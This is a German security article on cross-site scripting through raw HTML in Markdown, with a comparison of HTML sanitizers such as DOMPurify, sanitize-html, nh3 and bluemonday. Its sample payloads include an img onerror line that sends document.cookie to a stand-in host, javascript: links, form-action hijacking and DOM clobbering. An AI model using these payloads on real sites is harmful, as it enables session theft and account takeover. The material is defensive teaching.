Markdown-XSS: Markdown erlaubt rohes HTML, und damit erlaubt es Skripte
21. August 2026 · 34 Min. Lesezeit
Markdown wurde entworfen, um neben HTML zu stehen, nicht um es zu ersetzen. Die ursprünglichen Syntaxregeln lassen HTML unangetastet durch, und die Parser, die ihnen folgen, tun das noch heute. Geben Sie marked oder Python-Markdown ein <script>-Tag, und Sie bekommen ein <script>-Tag zurück; markdown-it und remark tun dasselbe, sobald rohes HTML eingeschaltet ist.
Kurzfassung
Markdown erlaubt rohes HTML absichtlich, jedes Markdown, das Sie nicht selbst geschrieben haben, kann also <script>, onerror=, javascript:-URLs, <iframe srcdoc>, Formular-Actions und IDs tragen, die Ihre eigenen Globals überdecken. Die Lösung ist ein Bereiniger mit Positivliste, angewandt auf das dargestellte HTML, niemals auf die Markdown-Quelle, denn der Renderer erfindet Markup, das wörtlich nie in der Datei stand. Verwenden Sie DOMPurify in einem Browser und auf dem Server einen Bereiniger für Node, Python, Go, Java, Rust oder Ruby gegen dieselbe Positivliste, und legen Sie dann eine Content Security Policy auf die Seite, damit ein Fehler im Bereiniger zu einer blockierten Anfrage wird und nicht zu einer gestohlenen Sitzung.
Niemand nimmt sich vor, nicht vertrauenswürdiges Markdown darzustellen. Es kommt von der Seite herein. Ein Kommentarfeld bekommt eine Vorschau, ein Support-Desk beginnt, formatierte Tickets anzunehmen, ein Build-Skript stellt jede README in einem Monorepo auf einem internen Dashboard dar, die Ausgabe eines Modells geht direkt auf eine Seite, damit sie jemand ordentlich lesen kann. In jedem dieser Fälle landet eine Zeichenkette, die jemand anders kontrolliert, in einem Dokument, mit dem sich Ihr eigenes JavaScript ein Fenster teilt.
Für eine Datei aus Ihrem eigenen Repository ist das korrektes Verhalten. Für einen Kommentar, ein Ticket oder die Ausgabe eines Sprachmodells ist es ein Loch: etwas muss zwischen den Parser und die Seite treten.
Das Wort „bereinigen" verbirgt, wie viel Entscheidung darin steckt. Ein Bereiniger ist kein Filter, den man einschaltet. Er ist eine schriftlich festgehaltene Erklärung darüber, welche Tags und Attribute Ihr Produkt erlaubt, angewandt an genau einer Stelle der Pipeline, in einer Umgebung, deren HTML-Parser dem entspricht, den der Leser verwenden wird. Ist die Erklärung falsch, ist sie Dekoration; ist die Stelle falsch, ist sie schlimmer als Dekoration, denn dann sieht alles nach ihr sicher aus.
Rohes HTML in Markdown ist ein Merkmal, kein Versehen
Markdowns Prämisse war, dass seine Syntax nie alles abdecken würde, alles Nichtabgedeckte würde man also in HTML schreiben. Diese Prämisse ist der Grund, warum sich das Format verbreitet hat und warum es noch heute der kürzeste Weg von Text zu einer Seite ist. Sie ist auch der Grund, warum jeder konforme Renderer vertragsgemäß ein HTML-Durchlass ist.
Ein Payload muss nicht wie eines aussehen. Das hier ist gültiges Markdown:
Danke für den Fix, jetzt funktioniert es.
<img src=x onerror="fetch('https://elsewhere.invalid/?c='+document.cookie)">
Der Parser erkennt einen Block HTML und kopiert ihn in die Ausgabe. Nichts ist fehlerhaft, also warnt nichts. Es gibt keinen Fehler, keine Log-Zeile und kein sichtbares Artefakt in der dargestellten Seite — ein defektes Bild ist das eine Ding, das zu ignorieren jeder Leser gelernt hat.
Parser haben früher versucht zu helfen. marked hatte eine sanitize-Option; sie wurde als veraltet markiert und dann entfernt, wobei die Dokumentation stattdessen auf einen eigenen Bereiniger verweist. Das war die richtige Entscheidung. Ein halb geschriebener HTML-Filter in einem Markdown-Parser ist schlimmer als keiner, denn er liest sich wie Schutz: ein Prüfer sieht sanitize: true in einem Optionsobjekt und stellt keine Fragen mehr. HTML korrekt zu bereinigen heißt, einen Parser, einen Serialisierer, eine Positivliste und einen Prozess für Sicherheitsreaktionen zu betreiben, und eine Markdown-Bibliothek hat nichts damit zu schaffen, drei dieser vier zu versprechen.
Die einfachste Lösung, wenn sie passt: markdown-it lässt rohes HTML standardmäßig aus, spitze Klammern kommen also maskiert und sichtbar heraus. Wenn Ihre Nutzer keinen Grund haben, HTML zu schreiben, lassen Sie es aus — weniger Code und weniger Fehler als jede Positivliste. Python-Markdown hat keinen entsprechenden Schalter, und seine Dokumentation verweist Sie auf einen separaten Bereiniger, eine Python-Pipeline hat also immer einen zweiten Schritt, ob ihn jemand geschrieben hat oder nicht.
Rohes HTML auszuschalten ist die einzige Option auf dieser Seite, die die Angriffsfläche entfernt statt sie zu filtern. Alles andere ist eine Beurteilung darüber, welches HTML Sie auszuführen bereit sind.
Die Vektoren, benannt
Die Liste unten ist keine Liste exotischer Tricks. Sie ist die gewöhnliche Oberfläche von HTML — einer Sprache zum Bauen von Anwendungen —, der man ein von einem Fremden geschriebenes Dokument in die Hand gibt.
| Was ankommt | Was es tut | Die Regel |
|---|---|---|
<script>alert(1)</script> |
Läuft, wenn das HTML geparst und nicht über eine sichere Senke zugewiesen wird | script niemals erlauben; noscript ebenfalls niemals |
<img src=x onerror=...> |
Feuert, wenn das Bild fehlschlägt, was es tun wird | Jedes Attribut verwerfen, dessen Name mit on beginnt |
<a href="javascript:..."> |
Läuft beim Klick, ohne Skript-Tag | Nur http, https, mailto und relative erlauben |
<a href="data:text/html,..."> |
Ein ganzes Dokument in einer URL | data: vollständig aus href heraushalten |
<iframe srcdoc="..."> |
Trägt ein Dokument in einem Attribut, in Ihrem Origin | iframe, object, embed verwerfen |
<form action="https://elsewhere"> |
Macht aus Ihren Eingabefeldern jemandes Formular | form, button, input, formaction verwerfen |
<style> und style="..." |
Verschiebt, überlagert, versteckt und leckt über url() |
Beide verwerfen, sofern Sie keinen Grund haben |
<a id="config"> |
Überdeckt window.config, ohne Code auszuführen |
Jeder überlebenden id und name ein Präfix geben |
<base href="//elsewhere"> |
Richtet jede relative URL auf der Seite um | Verwerfen; base-uri 'none' setzen |
<meta http-equiv="refresh"> |
Navigiert den Leser weg | meta verwerfen |
<svg>, <math>, <template> |
Andere Parsing-Regeln, also andere Fehler | Verwerfen, sofern die Positivliste sie nicht braucht |
Event-Handler-Attribute sind die Hauptsache. <script> ist der Vektor, den jeder zuerst blockiert, und der, der am wenigsten zählt, denn die interessanten Payloads brauchen ihn nicht. Jedes on*-Attribut ist ein Inline-Skript in anderer Schreibweise, und die Spezifikation erweitert die Liste weiter. Das ist das klarste einzelne Argument dafür, Attribute auf eine Positivliste zu setzen, statt die zu benennen, die Ihnen nicht gefallen: Sie können on* nicht korrekt aufzählen, und Sie müssen es nicht.
Schemata müssen dekodiert werden, bevor sie geprüft werden können. Prüfen Sie den dekodierten Wert, nicht die rohe Zeichenkette. java	script:, JaVaScRiPt: und eine URL mit einem führenden Zeilenumbruch sind für einen Browser eine URL und für einen naiven Vergleich mehrere verschiedene Zeichenketten. Halten Sie data: grundsätzlich aus href heraus: Browser blockieren zwar eine data:text/html-Navigation auf oberster Ebene, aber das ist ihre Gegenmaßnahme, nicht Ihre, und sie deckt nicht jede Senke ab.
srcdoc ist das Attribut, das Leute vergessen. Ein <iframe srcdoc> trägt ein vollständiges HTML-Dokument doppelt maskiert im Wert eines Attributs und erbt das Origin des einbettenden Dokuments. Ein Bereiniger, der iframe für Video-Einbettungen erlaubt und srcdoc vergisst, hat beliebiges HTML aus dem eigenen Origin durch ein Loch in Form eines Video-Players gelassen.
Formular-Actions brauchen kein Skript, um zu stehlen. Ein eingeschleustes <form action="https://elsewhere.invalid">, das um einen Teil Ihrer Seite gewickelt ist, macht den nächsten Klick des Lesers zu einer Übermittlung an einen anderen Ort, und ein <input type="image" formaction="..."> überschreibt die Action eines Formulars, das Sie geschrieben haben. Nichts wird ausgeführt; der Browser tut genau, was das Markup sagt. Deshalb verdienen form und input Aufmerksamkeit, auch wenn Sie <input type="checkbox" disabled> für GFM-Aufgabenlisten erlauben — erlauben Sie die eine Attributkombination, die Sie brauchen, und nichts weiter.
CSS ist eine Fähigkeit, keine Verzierung. Die expression()-Syntax, die style einst direkt ausführbar machte, ist längst aus aktuellen Browsern verschwunden, und sie ist immer noch der Grund für den Ruf, den CSS hier hat. Die lebenden Probleme sind leiser. position: fixed mit einem hohen z-index legt das Element eines Angreifers über Ihre Oberfläche, ein Klick auf „Abbrechen" landet also auf etwas anderem. opacity: 0 versteckt Text, der weiterhin markierbar ist. Ein url() in einem Hintergrund erreicht einen Dritten in dem Moment, in dem das Element dargestellt wird, was ein Signalgeber ist, der jemandem mitteilt, wann Ihr Dokument gelesen wurde. Nichts davon führt ein Skript aus und alles davon ist ein Problem, weshalb die Standardantwort für <style> und style nein lautet.
DOM-Clobbering: eine ID, die eine Eigenschaft überdeckt
Jedes Element mit einer id wird unter diesem Namen zu einer Eigenschaft von window, und benannte Formularsteuerelemente werden zu Eigenschaften ihres Formulars. Ein eingeschleustes <a id="config"> macht window.config zu einem Anker-Element, if (!window.config) { window.config = defaults } nimmt also den falschen Zweig, und config.apiBase ist jetzt undefined statt Ihrer URL — oder, mit <a id="config" name="apiBase" href="//elsewhere">, etwas, das ein Angreifer gewählt hat. Kein Skript ist gelaufen. Ein Attribut hat genügt.
Bereiniger decken davon weniger ab, als ihr Ruf vermuten lässt. DOMPurifys standardmäßige Prüfung auf DOM-Clobbering verwirft eine id oder name nur dann, wenn der Wert bereits eine Eigenschaft eines Document oder eines HTMLFormElement ist: id="title", id="body", id="cookie" und id="action" gehen, id="config" bleibt. config ist ein Name, den Ihr eigener Code erfunden hat, und kein Bereiniger sieht sich Ihre Globals an. Vollständigere Abdeckung bietet SANITIZE_NAMED_PROPS, standardmäßig aus, das jeder id und jedem name, die es behält, das Präfix user-content- voranstellt.
Dieses Präfix ist die eigentliche Verteidigung — eine ID, die nicht kollidieren kann, kann nichts überdecken — und es muss sowohl die IDs abdecken, die im Dokument ankommen, als auch die, die Ihr Renderer aus Überschriften erzeugt, denn eine Überschrift namens „Config" erzeugt id="config" ohne jeden beteiligten Angreifer. Diese Website bereinigt mit DOMPurify im Browser und mit dem xss-Paket auf dem Server gegen eine gemeinsame Positivliste und stellt jeder Überschriften-ID das Präfix doc- voran: dieselbe Verteidigung, von Hand angewandt. Wenn Sie Anker für ein Inhaltsverzeichnis erzeugen, ist das der Schritt, den Sie heute hinzufügen sollten, vor allem anderen auf dieser Seite.
Positivlisten schlagen Sperrlisten
Eine Sperrliste benennt, was verboten ist, und scheitert beim ersten Mal, wenn jemand ein Tag verwendet, an das niemand gedacht hat. Sie scheitert erneut jedes Mal, wenn ein Browser eine Funktion ausliefert, und ein drittes Mal an Großschreibung, Kodierung oder einem Attribut, von dem der Autor der Liste nie gehört hatte. Eine Positivliste benennt, was ein Dokument enthalten darf, und verwirft den Rest, ihr Fehlerfall ist also ein fehlendes <details>-Element und keine gestohlene Sitzung.
Die Positivliste bleibt kurz, denn Markdowns Ausgabe ist klein: Überschriften, Absätze, Listen, Blockzitate, Tabellen, Code, Betonung, Links, Bilder, Trennlinien und ein <input> für Aufgabenlisten. Die Attributliste ist noch kürzer — href, src, alt, title, class, wenn Sie Codeblöcke stylen, colspan und rowspan, wenn Ihre Tabellen sie brauchen, type, checked und disabled für Aufgabenlisten.
Schreiben Sie diese Liste in einer Datei auf und importieren Sie sie überall. Der häufigste Fehler in der Praxis ist kein Bypass, sondern Auseinanderdriften: der Browser-Bereiniger und der Server-Bereiniger wurden getrennt konfiguriert, sechs Monate auseinander, von zwei Personen, und das Dokument, das in der Anwendung sicher dargestellt wird, liegt mit intaktem <iframe> gespeichert, damit der nächste Verbraucher es findet. Zwei Positivlisten sind eine Positivliste und eine Haftung.
Die andere Regel lautet, dass die Positivliste dem Produkt gehört, nicht der Bibliothek. Das defaultSchema von rehype-sanitize folgt GitHubs Bereinigungsregeln, und bluemondays UGCPolicy() ist eine durchdachte Voreinstellung für Nutzerinhalte — beide bessere Startpunkte als alles, was Sie an einem Nachmittag schreiben. Keines von beiden weiß, ob Ihre Seite ein <div id="app"> hat, das Ihr Framework liest. Beginnen Sie mit der mitgelieferten Policy und ziehen Sie dann ab.
Nach dem Rendern bereinigen, niemals davor
Die Markdown-Quelle zu bereinigen heißt zu erraten, was der Parser damit tun wird, und der Parser wird Sie überraschen. Markdown hat mehrere Schreibweisen für dieselbe Ausgabe — Referenzlinks, Backslash-Maskierungen, Zeichenreferenzen, eingerückte HTML-Blöcke —, ein Filter, der die Quelle nach javascript: durchsucht, verpasst also [click](javascript:alert(1)) und eine Referenzdefinition dreihundert Zeilen unter dem Link, der sie benutzt. Schlimmer noch, der Renderer erfindet Markup, das wörtlich nie dastand: ein Autolink wird zu einem vollständigen <a href>, das die Quelle nie enthielt, ein eingezäunter Block wird zu <pre><code class="language-...">, eine Überschrift wird zu einer id. Ein Filter auf der Quelle filtert die falsche Zeichenkette.
Bereinigen Sie also, was der Renderer ausgegeben hat, und hören Sie dann auf, es anzufassen:
import DOMPurify from 'dompurify';
import { marked } from 'marked';
const clean = DOMPurify.sanitize(marked.parse(userMarkdown), {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'code', 'pre', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title'],
SANITIZE_NAMED_PROPS: true,
});
„Und dann aufhören, es anzufassen" ist die Hälfte, die Leute überspringen. Ein Syntax-Highlighter, der Tokens in Spans wickelt, eine Vorlage, die die Zeichenkette in einen Rahmen interpoliert, ein regulärer Ausdruck, der Anker umschreibt, um target="_blank" hinzuzufügen, ein Schritt, der Überschriften-Anker für ein Inhaltsverzeichnis einfügt: jedes davon läuft nach dem Bereiniger und sitzt außerhalb seiner Garantie. Wenn eine Transformation stattfinden muss, führen Sie sie entweder vor dem Bereiniger aus, damit ihre Ausgabe mitgeprüft wird, oder führen Sie sie nach dem Einfügen am DOM aus, mit textContent und setAttribute statt durch Bearbeiten einer Zeichenkette.
Noch eine Regel zur Stelle: speichern Sie das originale Markdown, nicht das bereinigte HTML. Auf dem Weg herein zu bereinigen und dem Speicher danach zu vertrauen friert Ihre Positivliste auf das Datum des Schreibvorgangs ein, an dem Tag, an dem Sie sie verschärfen, bleibt also jedes alte Dokument, wie es war.
Mutations-XSS: zwei Parser, die sich uneinig sind
Ein Bereiniger parst HTML in einen Baum, entscheidet, dass der Baum sauber ist, und serialisiert ihn zurück in eine Zeichenkette. Der Browser parst diese Zeichenkette dann erneut. Wenn der zweite Parse-Vorgang einen anderen Baum ergibt als der erste, lief die Prüfung auf einem Dokument, das niemand ausliefert. Das ist Mutations-XSS, und der Fehler gehört keinem der beiden Parser — nur ihrer Uneinigkeit.
Achten muss man auf die Stellen, an denen sich die HTML-Parsing-Regeln mitten im Dokument ändern. Fremdinhalt wie <svg> und <math> folgt XML-artigen Regeln, in denen sich <style> und Kommentare anders verhalten. <template> hat sein eigenes Inhaltsdokument. Eine Verschachtelung, die ein implizites schließendes Tag erzwingt, kann ein Element aus dem Teilbaum herausbewegen, in dem es geprüft wurde. Entities in Attributwerten werden in einer anderen Phase dekodiert als Entities im Text.
Die Verteidigungen sind langweilig, und langweilig zu sein ist der Punkt. Halten Sie den Bereiniger aktuell, denn diese Fehlerklasse wird von Forschern gefunden und in Releases behoben, das eigentliche Risiko ist also eine festgepinnte drei Jahre alte Version. Verketten Sie niemals zwei Bereiniger, denn was der letzte ausgibt, ist das, was ausgeliefert wird, und die Garantie des ersten ist nichtig. Halten Sie Fremdinhalt von der Positivliste fern, sofern ihn keine Anforderung dorthin bringt.
Serverseitiges Bereinigen hat hier eine strukturelle Lücke: ohne Browser bringt es seinen eigenen Parser mit, nicht den, den Ihr Leser verwenden wird. Ammonias Antwort ist html5ever, das Fragmente so parst und serialisiert, wie Browser es tun; die von sanitize-html ist htmlparser2, gewählt für Geschwindigkeit und Toleranz. Toleranz und Genauigkeit sind nicht dieselbe Eigenschaft. Ein DOM vorzutäuschen ist schlimmer als beides — bekommt DOMPurify eine Umgebung, die es nicht verwenden kann, gibt es seine Eingabe unverändert zurück, statt einen Fehler zu werfen, ein defektes jsdom-Setup scheitert also offen und stillschweigend.
Der schnelle Vergleich: der Überblick
| Werkzeug | Am besten für | Schlüsselfunktion | Preis |
|---|---|---|---|
| Gar kein rohes HTML | Kommentare, Chat, alles, was HTML nie brauchte | markdown-it maskiert rohes HTML standardmäßig |
Kostenlos, MIT |
| DOMPurify (Browser) | Nicht vertrauenswürdiges Markdown auf einer Seite darstellen | Nutzt den eigenen Parser des Browsers, also keine zweite Meinung | Kostenlos, Apache 2.0 oder MPL 2.0 |
| DOMPurify + jsdom | Eine Positivliste auf einem Node-Server wiederverwenden | Dasselbe Konfigurationsobjekt, synthetisches DOM | Kostenlos, Apache 2.0 oder MPL 2.0; jsdom MIT |
| sanitize-html | Node ohne DOM | htmlparser2, Attribut-Positivlisten pro Element | Kostenlos, MIT |
js-xss (xss) |
Node, Browser und eine Kommandozeile | whiteList-Option, kein DOM nötig, hat ein CLI |
Kostenlos, MIT |
| rehype-sanitize | remark- und unified-Pipelines | Bereinigt den hast-Baum, nicht eine Zeichenkette | Kostenlos, MIT |
| nh3 | Python | Bindungen an Rusts ammonia | Kostenlos, MIT |
| Bleach | Nichts Neues | War die Python-Voreinstellung; jetzt nicht mehr gepflegt | Kostenlos, Apache 2.0 |
| bluemonday | Go | UGCPolicy()- und StrictPolicy()-Voreinstellungen |
Kostenlos, BSD-3-Clause |
| OWASP Java HTML Sanitizer | Java | HtmlPolicyBuilder, keine Laufzeitabhängigkeiten |
Kostenlos, Apache 2.0 oder BSD-2-Clause |
| Ammonia | Rust | html5ever, parst so, wie ein Browser es tut | Kostenlos, MIT oder Apache 2.0 |
| Loofah | Ruby | Nokogiri-Scrubber; Rails' Bereiniger baut darauf auf | Kostenlos, MIT |
| Content Security Policy | Der Fehler im Bereiniger, den Sie noch nicht gefunden haben | Blockiert die Ausführung unabhängig vom Markup | Kostenlos, ein Webstandard |
| Iframe mit Sandbox | Dokumente, die Sie nicht sicher machen können | sandbox entfernt Origin, Skripte und Formulare |
Kostenlos, Teil von HTML |
| TransformPipe | Eine .md-Datei konvertieren, die Sie nicht geschrieben haben |
Bereinigt im Browser und auf dem Server, eine Positivliste | Kostenlos |
Die Optionen, eine nach der anderen
Gar kein rohes HTML — die Option, die niemand zuerst erwägt
Bevor Sie einen Bereiniger wählen, fragen Sie, ob die Funktion überhaupt existieren muss. Wenn Ihre Nutzer Kommentare, Chat-Nachrichten oder Ticket-Texte schreiben, will fast keiner von ihnen HTML schreiben, und die, die es wollen, sind der Grund, warum Sie das hier lesen. markdown-it wird mit html: false ausgeliefert, was spitze Klammern maskiert, sodass sie als sichtbarer Text dargestellt werden.
| Vorteile | Nachteile |
|---|---|
| Entfernt die Angriffsfläche, statt sie zu filtern | Alles, was Markdown nicht ausdrücken kann, ist jetzt unmöglich |
| Keine Positivliste zu pflegen, kein Bereiniger aktuell zu halten | Anderswo geschriebene Dokumente können schon HTML enthalten |
| Kein Mutations-XSS, denn nichts wird neu geparst | Nutzer, die einen <details>-Block brauchen, werden sich beschweren |
Preis: kostenlos, MIT-lizenziert.
Technische Details und Funktionen
markdown-itsteht standardmäßig aufhtml: false; rohes HTML in der Quelle wird maskiert, nicht geparstmarkedund Python-Markdown lassen rohes HTML durch und erwarten einen separaten Bereiniger- Maskieren ist kein Bereiniger: es erzeugt Text, weshalb es nicht umgangen werden kann
Wer sollte es verwenden? Jeder, der kurze nutzergenerierte Texte darstellt. Das ist die richtige Voreinstellung für ein Kommentarfeld, und sie wird weit seltener gewählt, als sie es sollte.
DOMPurify im Browser — die Standardantwort
DOMPurify bereinigt eine HTML-Zeichenkette mit dem DOM der Umgebung, in der es läuft. In einem Browser ist das derselbe Parser, der das Ergebnis darstellen wird, was die Mutations-XSS-Lücke an ihrer Quelle beseitigt: es gibt keine zweite Meinung, weil es nur einen Parser gibt.
| Vorteile | Nachteile |
|---|---|
| Nutzt den eigenen Parser des Browsers, der geprüfte Baum ist also der dargestellte Baum | Braucht ein DOM, reines Node erfordert also jsdom |
| Aktiv gepflegt, mit einer echten Historie von Sicherheitsreaktionen | SANITIZE_NAMED_PROPS ist standardmäßig aus, Clobbering ist also nur teilweise abgedeckt |
| Die Konfiguration ist ein Optionsobjekt, das Sie über eine Codebasis hinweg teilen können | Gibt seine Eingabe unverändert zurück, wenn es ein unbrauchbares DOM bekommt, was offen scheitert |
| Hooks lassen Sie Knoten während des Bereinigens prüfen und ablehnen | Die Voreinstellungen der Positivliste sind breit; die meisten Produkte sollten davon abziehen |
Preis: kostenlos, doppelt lizenziert unter Apache 2.0 oder MPL 2.0.
Technische Details und Funktionen
ALLOWED_TAGSundALLOWED_ATTRfür eine Positivliste von Grund auf;ADD_TAGSundADD_ATTR, um die Voreinstellungen zu erweiternUSE_PROFILESbeschränkt auf die HTML-, SVG- oder MathML-Mengen statt auf alle dreiFORBID_TAGSundFORBID_ATTR, um von den Voreinstellungen abzuziehenSANITIZE_NAMED_PROPSstellt überlebendenid- undname-Werten ein Präfix voran, was die Lösung für DOM-Clobbering istALLOW_DATA_ATTRundALLOW_ARIA_ATTRsteuern die zwei großen Attributfamilien
Wer sollte es verwenden? Jeder, der Markdown in einem Browser auf eine Seite darstellt. Die JavaScript-Anleitung behandelt, wie man marked und DOMPurify in der richtigen Reihenfolge verdrahtet.
DOMPurify mit jsdom — dieselbe Positivliste auf einem Server
DOMPurify läuft auch in Node gegen ein jsdom-Window. Der Grund, das zu tun, ist nicht, dass es der beste Server-Bereiniger ist — es ist, dass es derselbe Bereiniger ist, konfiguriert vom selben Objekt, sodass Browser und Server nicht auseinanderdriften können.
| Vorteile | Nachteile |
|---|---|
| Eine Positivliste, eine Konfiguration, zwei Laufzeiten | jsdom ist eine große Abhängigkeit für eine einzige Aufgabe |
| Das Verhalten entspricht dem Browser-Pfad eng | jsdom ist kein Browser, die Parser-Lücke kommt also zurück |
| Vertraute API, wenn Ihr Frontend sie schon nutzt | Ein falsch konfiguriertes Window macht es zu einem No-op ohne Fehlermeldung |
Preis: kostenlos; DOMPurify Apache 2.0 oder MPL 2.0, jsdom MIT.
Technische Details und Funktionen
- Mit
createDOMPurify(new JSDOM('').window)instanziieren und die Instanz wiederverwenden - Die Positivliste aus einem gemeinsamen Modul importieren, damit sie nicht nur auf einer Seite bearbeitet werden kann
- In Tests zusichern, dass in der ausgelieferten Konfiguration ein
<script>-Tag entfernt wird
Wer sollte es verwenden? Node-Dienste, die Markdown bereits clientseitig darstellen und eine Definition von „sicher" wollen statt zwei.
sanitize-html — ein Node-Bereiniger mit eigenem Parser
sanitize-html reinigt HTML mit Attribut-Positivlisten pro Element, gebaut auf htmlparser2 statt auf einem DOM. Die Form seiner Optionen passt ordentlich auf die Art, wie eine Markdown-Positivliste sich tatsächlich liest: dieses Tag darf diese Attribute haben und keine anderen.
| Vorteile | Nachteile |
|---|---|
| Kein DOM und kein jsdom, es ist also leicht in einem Serverprozess | Sein Parser ist nicht der des Browsers, was die mXSS-Lücke ist |
| Attribut-Positivlisten gelten pro Element, was die richtige Granularität ist | Die Konfiguration ist ausführlich für eine breite Positivliste |
transformTags schreibt Elemente während des Durchgangs um |
Das separate Repository ist archiviert und schreibgeschützt, die Entwicklung ist in das ApostropheCMS-Monorepo gezogen (geprüft auf github.com/apostrophecms/sanitize-html, 8. September 2026) |
Preis: kostenlos, MIT-lizenziert.
Technische Details und Funktionen
allowedTags,allowedAttributes,allowedSchemesundtransformTagsals Hauptoptionen- Gebaut auf htmlparser2, das das Projekt als für Geschwindigkeit und Toleranz gewählt beschreibt
- Läuft überall, wo Node läuft, ohne nativen Build-Schritt
Wer sollte es verwenden? Node-Dienste, die eine echte Positivliste wollen, ohne eine DOM-Implementierung auszuliefern, und Teams, denen die Optionsform pro Element leichter zu prüfen erscheint als eine flache Liste.
js-xss — ein Bereiniger ohne DOM und mit einer Kommandozeile
Das xss-Paket bereinigt HTML in Node und in Browsern gegen eine whiteList-Option, ohne ein DOM zu brauchen. Es liefert außerdem ein CLI mit, was es sowohl in einer Shell-Pipeline als auch in einem Dienst brauchbar macht.
| Vorteile | Nachteile |
|---|---|
| Läuft in Node und Browsern ohne DOM-Abhängigkeit | Eigener Parser, die Parser-Lücke gilt also |
| Ein CLI, es passt also in ein Build-Skript, ohne Code zu schreiben | Kleinere Konfigurationsfläche als die von DOMPurify |
whiteList passt direkt auf Tag-und-Attribut-Paare |
allowList ist ein Alias, die Dokumentation liest sich also auf zwei Weisen |
Preis: kostenlos, MIT-lizenziert.
Technische Details und Funktionen
whiteList(alsallowListaliasiert) definiert erlaubte Tags und deren Attribute- Eigene Handler für Attributwerte, nützlich für Schema-Prüfungen an
href xss -i <input> -o <output>bereinigt eine Datei von der Kommandozeile
Wer sollte es verwenden? Node-Dienste, die eine kleine Abhängigkeit wollen, und jeder, der eine Datei in CI ohne Browser bereinigt. Das ist die Server-Hälfte der Pipeline hinter dieser Website, gepaart mit DOMPurify im Browser gegen eine gemeinsame Positivliste.
rehype-sanitize — den Baum bereinigen, nicht die Zeichenkette
Wenn Ihre Pipeline remark oder unified ist, bereinigt rehype-sanitize den hast-Baum mitten in der Kette. Nichts wird serialisiert, geprüft und neu geparst, was eine ganze Fehlerklasse beseitigt, indem es den Schritt beseitigt, in dem sie wohnt.
| Vorteile | Nachteile |
|---|---|
| Arbeitet am Baum, es gibt also keinen Zeichenketten-Rundlauf, über den man uneinig sein könnte | Ergibt nur innerhalb einer unified-Pipeline Sinn |
defaultSchema folgt GitHubs Bereinigungsregeln, ein durchdachter Startpunkt |
Die unified-Pipeline bringt echten Lernaufwand mit |
| Kein DOM erforderlich; läuft in Node, Deno und Browsern | Nur ESM, und die Schema-Syntax ist eine eigene Sache zum Lernen |
Preis: kostenlos, MIT-lizenziert.
Technische Details und Funktionen
- Bereinigt hast, den HTML-Syntaxbaum, zwischen
remark-rehypeundrehype-stringify defaultSchemawird exportiert und kann erweitert oder eingeengt werden- Platzieren Sie es nach jedem Plugin, das HTML erzeugt, und vor stringify
Wer sollte es verwenden? Teams, die remark oder unified schon nutzen, um Dokumente zu transformieren, statt sie nur darzustellen. Ein Bereiniger innerhalb der Pipeline schlägt einen, der an die Ausgabe geschraubt ist.
nh3 — die Python-Antwort
nh3 stellt Python-Bindungen an ammonia bereit, den HTML-Bereiniger in Rust. Weil die Arbeit in einer kompilierten Bibliothek stattfindet, die einen Parser von Browser-Güte verwendet, ist es sowohl schnell als auch näher am Browser-Verhalten als ein Filter in reinem Python.
| Vorteile | Nachteile |
|---|---|
| Gestützt auf ammonia und html5ever, die so parsen, wie Browser es tun | Eine kompilierte Abhängigkeit, Wheels zählen also in eingeschränkten Umgebungen |
| Gepflegt und der praktische Ersatz für Bleach | Eine kleinere API-Fläche als die von Bleach |
| Positivlisten-basiert, passend zum Modell, für das dieser Text argumentiert | Die Konfiguration ist kein Drop-in für die von Bleach |
Preis: kostenlos, MIT-lizenziert.
Wer sollte es verwenden? Python-Dienste, die Markdown-Ausgabe bereinigen, und alle, die noch Bleach importieren.
Bleach — das, von dem man weg migrieren sollte
Bleach war jahrelang der Standard-HTML-Bereiniger für Python, und viel bestehendes Werkzeug importiert es noch. Es wird nicht mehr gepflegt: die README stellt fest, dass es keine zukünftigen Releases geben wird, auch nicht für Sicherheitsprobleme (geprüft auf github.com/mozilla/bleach, 8. September 2026).
| Vorteile | Nachteile |
|---|---|
| Ein großer Bestand an vorhandenem Code und Dokumentation | Nicht gepflegt, ohne kommende Sicherheits-Releases |
| Vertraute Positivlisten-API | Ein nicht gepflegter Bereiniger ist die eine Abhängigkeit, die man nicht festpinnen und vergessen kann |
| Für die Fälle, die es behandelte, weiterhin funktionsfähig | Die mXSS-Verteidigung hängt an laufender Pflege, und die ist eingestellt |
Preis: kostenlos, Apache 2.0-lizenziert.
Wer sollte es verwenden? Niemand, für neue Arbeit. Wenn es in Ihrer requirements-Datei steht, ist das ein Migrationsticket und keine Fußnote — das ist eine Fehlerklasse, in der „aktuell halten" der größte Teil der Verteidigung ist.
bluemonday — die Go-Antwort
bluemonday bereinigt HTML in Go gegen eine Policy, die Sie bauen, oder gegen eine seiner mitgelieferten Voreinstellungen. Seine zwei benannten Policies passen sauber auf die zwei Situationen, die die meisten Produkte haben.
| Vorteile | Nachteile |
|---|---|
UGCPolicy() ist ein sinnvoller Startpunkt für Nutzerinhalte |
Nur Go |
StrictPolicy() entfernt alles Markup, für Titel und einzeilige Felder |
Policy-Bau ist Code, er braucht also Prüfung wie Code |
| Positivlisten-basiert von Entwurf her, mit Regexp-Mustern für Attributwerte | Eigener Parser, die Parser-Lücke gilt also |
Preis: kostenlos, BSD-3-Clause-lizenziert.
Technische Details und Funktionen
UGCPolicy()erlaubt eine breite Menge von Elementen für Nutzerinhalte und schließt iframes, objects, embeds, styles und scripts ausStrictPolicy()entfernt alle Elemente und Attribute- Policies sind kombinierbar, Sie können also von einer Voreinstellung ausgehen und abziehen
Wer sollte es verwenden? Go-Dienste, die Markdown von Nutzern darstellen. Beginnen Sie mit UGCPolicy() und entfernen Sie dann, was Ihr Produkt nicht braucht.
OWASP Java HTML Sanitizer — die Java-Antwort
Ein Java-Bereiniger mit einem expliziten Policy-Builder und ohne Laufzeitabhängigkeiten, gepflegt unter dem Dach von OWASP. Die HtmlPolicyBuilder-API lässt die Positivliste sich wie eine Spezifikation lesen, was nützlich ist, wenn die Positivliste eine Sicherheitsprüfung überleben muss.
| Vorteile | Nachteile |
|---|---|
HtmlPolicyBuilder erzeugt eine lesbare, prüfbare Policy |
Nur Java |
| Keine Laufzeitabhängigkeiten | Die vorgefertigten Policies sind eng, die meiste Arbeit ist also Ihre |
Vorgefertigte Sanitizers.FORMATTING und Sanitizers.LINKS, kombinierbar |
Eigener Parser, die Parser-Lücke gilt also |
Preis: kostenlos, doppelt lizenziert unter Apache 2.0 oder BSD-2-Clause.
